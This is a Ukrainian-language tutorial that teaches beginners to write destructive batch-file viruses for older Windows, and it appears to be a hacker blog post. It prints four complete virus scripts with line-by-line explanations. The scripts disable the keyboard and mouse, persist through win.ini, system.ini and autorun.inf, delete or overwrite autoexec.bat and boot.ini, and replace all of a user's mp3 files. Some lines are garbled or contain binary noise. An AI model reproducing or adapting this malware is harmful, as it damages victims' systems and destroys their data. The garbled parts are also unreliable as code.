BAT-вірус своїми руками

Привіт тобі знову, юний вирусописатель. Якщо ти читав минулу мою статтю під назвою Вчимо ДОС, то нічого складного тут для тебе не буде. А якщо не читав, то уважно дивись коментарі. Отже, почнемо. Сиджу я одного разу і думаю: а чи не написати мені вірус? А так як крім QБарсика я нічого не знав, а ДОС був моїм другим [Братом], а ти що подумав збоченець? :)~. ТО я вирішив писати вірус на ньому, і виявилося, це не так важко.

Ось тіло мого першого вірусу

@echo off
rundll32 keyboard,disable
rundll32 mouse,disable
copy %0 %windir%/system
echo run=%windir%/system/*.bat >> win.ini
echo run=%windir%/system/*.bat >> system.ini
label LOHOLAMMER
if exist c:autoexec.bat attrib c:autoexec.bat -h -s -a -r
deltree /y c:autoexec.bat > nul
echo autoexec.php echo YOU ARE LAMMERxe-xe-xe > c:autoexec.bat
rundll32 mouse,enable
rundll32 keyboard,enable
echo var WSHShell = WScript.CreateObject(WScript.Shell); > %temp%mes.js
echo WSHShell.Popup(Warning,… Ваш комп’ютер заражений вірусом, а позбавитися від нього не можна, хе-хе-хе); >> %temp%mes.js
start %temp%mes.js
deltree /y %temp%mes.js
attrib c:autoexec.bat +h +s +a +r
pause
cls

Пояснюю популярно і по кроках:

1 @echo off — Забороняємо Досовських віконця показувати, що робить скрипт.
2 rundll32 keyboard,disable — Відключаємо клаву, на випадок якщо юзер зрозуміє що відбувається і надумає натиснути CTRL+C
3 rundll32 mouse,disable — Відключаємо миша теж на всяк.
4 copy %0 %windir%/system — Копируемся в папку windows/system
// %0 — Змінна, яка вказує на файл-вірус
// %windir% — мінлива папка масдая.
5 echo run=%windir%/system/*.bat >> %windir%win.ini — Додає текст run=%windir%/system/*.bat файл win.ini
6 echo run=%windir%/system/*.bat >> %windir%system.ini — Додає текст run=%windir%/system/*.bat файл system.ini
7 label LOHOLAMMER — Змінює ім’я диска c: на LOHOLAMMER
8 if exist c:autoexec.bat attrib c:autoexec.bat -h -s -a -r — Перевіряємо якщо є файл c:autoexec.bat то прибираємо
//у нього атрибути -h -s -a -r
9 deltree /y c:autoexec.bat — Видаляємо файл c:autoexec.bat якщо не прибрати атрибути, то програма не видаляє файл.
10 echo autoexec.php echo YOU ARE LAMMERxe-xe-xe > c:autoexec.bat — Додати текст YOU ARE LAMMERxe-xe-xe
//в новий файл autoexec.bat
11 rundll32 mouse,enable — Включаємо, нехай думає, що нічого не було.
12 rundll32 keyboard,enable — Включаємо, нехай думає, що нічого не було.
13 echo var WSHShell = WScript.CreateObject(WScript.Shell); > %temp%mes.js
echo WSHShell.Popup(Warning,… Ваш комп’ютер заражений вірусом, а позбавитися від нього не можна, хе-хе-хе); >> %temp%mes.js
start %temp%mes.js. //Цей текст виводить масдайное вікно з написом
deltree /y %temp%mes.js //А потім стирає за собою сліди.
14 attrib c:autoexec.bat +h +s +a +r — Робить файл c:autoexec.bat прихованим і системний щоб ламер нічого не запідозрив.
15 pause — Просимо натиснути будь-яку клавішу (Не обов’язково натискати адже вирь вже зробив свою справу.)
16 cls — Виходимо

Ця програма, при наступному перезавантаженні не дасть завантажитися виндовсу і буде писати Ви ламер..Працює лише в вінді до 2000.

Йдемо далі, пишемо новий вірус. Ті функції, які були згадані вже, не будуть пояснюватися заново. Це просто вдосконалена версія минулого вірусу.

@echo off
rundll32 user,setcursorpos //Прибираємо з екрану курсор у лівий кут
rundll32 keyboard,disable //
rundll32 mouse,disable //
rundll32 user,swapmousebutton. //Тут ми переставляємо кнопки миші
echo Оновлення параметрів системи, будь-ласка, зачекайте //пише відмазку 🙂
label mp_k //Змінюємо ім’я диска
copy mp_k.exe %windir% //Копіює себе в папку windows
if exist c:autoexec.bat attrib c:autoexec.bat -h -s -a -r
deltree /y c:autoexec.bat
if exist c:io.sys echo autoexec.php echo YOU_ARE_LAMMER.[]=[[email protected]_BY_[kas]*_SmallPox_Vir_Org_] > c:autoexec.bat
echo run = %windir%mp_k.exe >> %windir%win.ini

echo run = %windir%mp_k.exe >> %windir%system.ini
echo [AutoRun] > c:autorun.inf //Ці операції є в минулому вірус.
echo open=c:autoexec.bat > c:autorun.inf
echo [AutoRun] > d:autorun.inf
echo open=c:autoexec.bat > d:autorun.inf
rundll32 mouse,enable
rundll32 keyboard,enable
echo var WSHShell = WScript.CreateObject(WScript.Shell); > %temp%mes.js
echo WSHShell.Popup(Warning,… А тепер необхідно перезавантажитися); >> %temp%mes.js
start %temp%mes.js
deltree /y %temp%mes.js
attrib c:autoexec.bat +h +s +a +r
attrib %windir%mp_k.exe +h +s +a +r
attrib c:autorun.inf +h +s +a +r
attrib d:autorun.inf +h +s +a +r
deltree /y mp_k.exe
rmdir %windir%temp //Видаляємо папку temp
mkdir %windir%temp //Створюємо папку temp
cls

А тепер, що-те нове.

@echo off
cls
echo Please wait, updating system
ctty nul. //Це нова команда, вона відключає виведення тексту в віконці.
exist %WINDIR%SYSTEMVMM32%0 goto :end //Якщо вирь вже запускався то нехай запустить себе знову.
copy %0 %WINDIR%SYSTEMVMM32
cd c: //Переходимо в іншу директорію
for %%a in (*.mp3 c:*.mp3 c:MUZ*.mp3 c:My Music*.mp3 ..*.mp3) do copy /y %0 %%a //Замінюємо в цій папці всі файли mp3 своїм текстом
cd My Music
for %%a in (*.mp3 ..*.mp3 ..*.mp3 .*.mp3 .*.mp3) do copy /y %0 %%a //Замінюємо в цій папці всі файли mp3 своїм текстом
cd My_Music
for %%a in (*.mp3 ..*.mp3 ..*.mp3 .*.mp3 .*.mp3) do copy /y %0 %%a //Замінюємо в цій папці всі файли mp3 своїм текстом
cd MyMusic
for %%a in (*.mp3 ..*.mp3 ..*.mp3 .*.mp3 .*.mp3) do copy /y %0 %%a //Замінюємо в цій папці всі файли mp3 своїм текстом
cd Music
for %%a in (*.mp3 ..*.mp3 ..*.mp3 .*.mp3 .*.mp3) do copy /y %0 %%a //Замінюємо в цій папці всі файли mp3 своїм текстом
cd Музика
for %%a in (*.mp3 ..*.mp3 ..*.mp3 .*.mp3 .*.mp3) do copy /y %0 %%a //Замінюємо в цій папці всі файли mp3 своїм текстом
cd Музон
for %%a in (*.mp3 ..*.mp3 ..*.mp3 .*.mp3 .*.mp3) do copy /y %0 %%a //Замінюємо в цій папці всі файли mp3 своїм текстом
cd MUZ
for %%a in (*.mp3 ..*.mp3 ..*.mp3 .*.mp3 .*.mp3) do copy /y %0 %%a //Замінюємо в цій папці всі файли mp3 своїм текстом
cd mp3
for %%a in (*.mp3 ..*.mp3 ..*.mp3 .*.mp3 .*.mp3) do copy /y %0 %%a //Замінюємо в цій папці всі файли mp3 своїм текстом
cd d:
for %%a in (*.mp3 c:*.mp3 c:MUZ*.mp3 c:My Music*.mp3 ..*.mp3) do copy /y %0 %%a
cd My Music
for %%a in (*.mp3 ..*.mp3 ..*.mp3 .*.mp3 .*.mp3) do copy /y %0 %%a //Тут теж саме.
cd My_Music
for %%a in (*.mp3 ..*.mp3 ..*.mp3 .*.mp3 .*.mp3) do copy /y %0 %%a
cd MyMusic
for %%a in (*.mp3 ..*.mp3 ..*.mp3 .*.mp3 .*.mp3) do copy /y %0 %%a
cd Music
for %%a in (*.mp3 ..*.mp3 ..*.mp3 .*.mp3 .*.mp3) do copy /y %0 %%a
cd Музика
for %%a in (*.mp3 ..*.mp3 ..*.mp3 .*.mp3 .*.mp3) do copy /y %0 %%a
cd Музон
for %%a in (*.mp3 ..*.mp3 ..*.mp3 .*.mp3 .*.mp3) do copy /y %0 %%a
cd MUZ
for %%a in (*.mp3 ..*.mp3 ..*.mp3 .*.mp3 .*.mp3) do copy /y %0 %%a
cd mp3
for %%a in (*.mp3 ..*.mp3 ..*.mp3 .*.mp3 .*.mp3) do copy /y %0 %%a
:end //Мітка
start /m /w %WINDIR%SYSTEMVMM32%0 //Запуск в згорнутому режимі
ctty con //Врубаєм дозвіл на показ тексту у вікні
echo Say goodbye your MP3 collection :)) Virus [BAT.kas.a] //Прощальні рядка
cls //Вихід.

Тут мало нового, але вже щось. Йдемо далі. Накачав я з інету BAT-вірусів і почав їх досліджувати. І ось результати:
Написав ще пару своїх:

ctty nul //Було таке
REM Чй [email protected]?
тЌ
Q_ь№ у¦u=
є №L ъ.я?ђ л,ђ ///
copy %0 *.exe ///
copy %0 b.com>nul // Ця технологія взята з вірусу іншої.
b.com. // Ці каракулі перехоплюють робітники в даний момент файли, і херит їх.
del b.com. /// Це текст АСМ скомпиленого в exe
rem _^ZY[Хќъ.я?ђ До ђђђђъ.я.ђ До # @ес?ође.5Н. ‘?ђ Ќ е.%Н.Ќ є-ђђ //
@echo off //
echo XEP_BAM //Пишемо злобно і красиво.
if exist %windir%/%0.bat goto :end //Перевірка виря на запускання, ті чи був він запущений.
@rundll32 user,setcursorpos
ctty con //Було таке
echo Оновлення параметрів системи, будь-ласка, зачекайте… //Відволікаємо.
@label BAT.c
copy %0.bat %windir% > nul
if exist c:autoexec.bat attrib c:autoexec.bat -h -s -a -r
if exist c:boot.ini attrib c:boot.ini -h -s -a -r
deltree /y c:autoexec.bat
deltree /y c:boot.ini
if exist c:autoexec.bat echo autoexec.php echo YOU_ARE_LAMMER… > c:autoexec.bat
if exist c:boot.ini echo autoexec.php echo YOU_ARE_LAMMER… > c:boot.ini //Це для XP він там замість autoexec.bat 😉
deltree /y %windir%/win.ini

copy %0 > %windir%/win.ini
deltree /y %windir%/system.ini
copy %0 > %windir%/system.ini
if exist c:io.sys //Перевірка наявності диска так як на кожному диску є файл io.sys
echo [AutoRun] > c:autorun.inf //І якщо він є заразити його.
echo open=c:autoexec.bat >> c:autorun.inf //І якщо він є заразити його.
if exist d:io.sys //Перевірка наявності диска
echo [AutoRun] > d:autorun.inf //І якщо він є заразити його.
echo open=c:autoexec.bat >> d:autorun.inf //І якщо він є заразити його.
if exist e:io.sys //Перевірка наявності диска
echo [AutoRun] > e:autorun.inf //І якщо він є заразити його.
echo open=c:autoexec.bat >> e:autorun.inf //І якщо він є заразити його.
:end //Мітка СМ початок.
cls //Вихід

Про які бувають віруси. І на що тільки не примудряються вірусописьменники, щоб домогтися потрібного результату. Прочитавши цю доку ти з упевненістю зможеш сам написати BAT вірус, навіть краще мого ;).Ну удачі тобі в написанні вирей, а я отклонюсь і піду пити пиво %-).